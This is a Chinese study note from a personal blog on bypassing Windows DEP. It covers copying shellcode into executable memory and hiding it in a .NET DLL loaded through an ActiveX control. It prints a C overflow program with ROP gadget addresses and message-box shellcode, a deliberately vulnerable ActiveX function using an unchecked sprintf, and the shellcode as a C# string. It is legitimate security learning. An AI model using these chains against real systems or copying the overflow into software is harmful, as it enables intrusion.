漏洞学习笔记-016-利用可执行内存和.NET攻击DEP


Ret2Libc之利用VirtualProtect和VirtualAlloc攻击DEP攻击DEP

本文来源:Moeomu的博客


利用可执行内存攻击DEP

原理

  • 有的时候在进程的内存空间中会存在一段可读可写可执行的内存,如果我们能够将shellcode复制到这段内存中,并劫持程序流程,我们的shellcode就有执行的机会

代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"......"
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\x5F\x78\xA6\x7C"//pop retn
"\x08\x00\x14\x00"//可执行内存中弹出对话框机器码的起始地址
"\x00\x00\x14\x00"//可执行内存空间地址,复制用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始 shellcode 起始地址
"\xFF\x00\x00\x00"//shellcode 长度
"\xAC\xAF\x94\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"......"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;

void test()
{
    char tt[176];
    memcpy(tt, shellcode, 450);
}

int main()
{
    HINSTANCE hInst = LoadLibrary("shell32.dll");
    char temp[200];
    test();

    return 0;
}

后记

  • 按理来说是要有RWE权限的内存区域的,可惜么得,此实验未完成

利用.NET攻击DEP

原理

  • .NET 的文件具有和与PE文件一样的结构,也就是说它也具有.text等段,这些段也会被映射到内存中,也会具备一定的可执行属性。大家应该想到如何利用这一点了,将shellcode放到.NET中具有可执行属性的段中,然后让程序转入这个区域执行,就可以执行shellcode了
  • 需求
    • 具有溢出漏洞的ActiveX控件
    • 包含有shellcode的.NET控件
    • 可以触发ActiveX控件中溢出漏洞的POC页面

代码

具有溢出漏洞的ActiveX控件

void CVulnerAXCtrl::test(LPCTSTR str)
{
    // AFX_MANAGE_STATE(AfxGetStaticModuleState());
    // TODO: Add your dispatch handler code here
    printf("aaaa"); // 定位该函数的标记
    char dest[100];
    sprintf(dest, "%s", str);
}

包含有shellcode的.NET控件

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace DEP_NETDLL
{
    public class Class1
    {
        public void Shellcode()
        {
            string shellcode =
            "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090" +
            "\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91" +
            "\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332" +
            "\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c" +
            "\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505" +
            "\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b" +
            "\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06" +
            "\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c" +
            "\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd" +
            "\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33" +
            "\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050" +
            "\uff53\ufc57\uff53\uf857"
            ;
        }
    }
}

利用Java Applet挑战DEP

难以找到适合的版本,所以此实验略过,以后有机会再补充

上一篇:016 虚函数


下一篇:016 记住我功能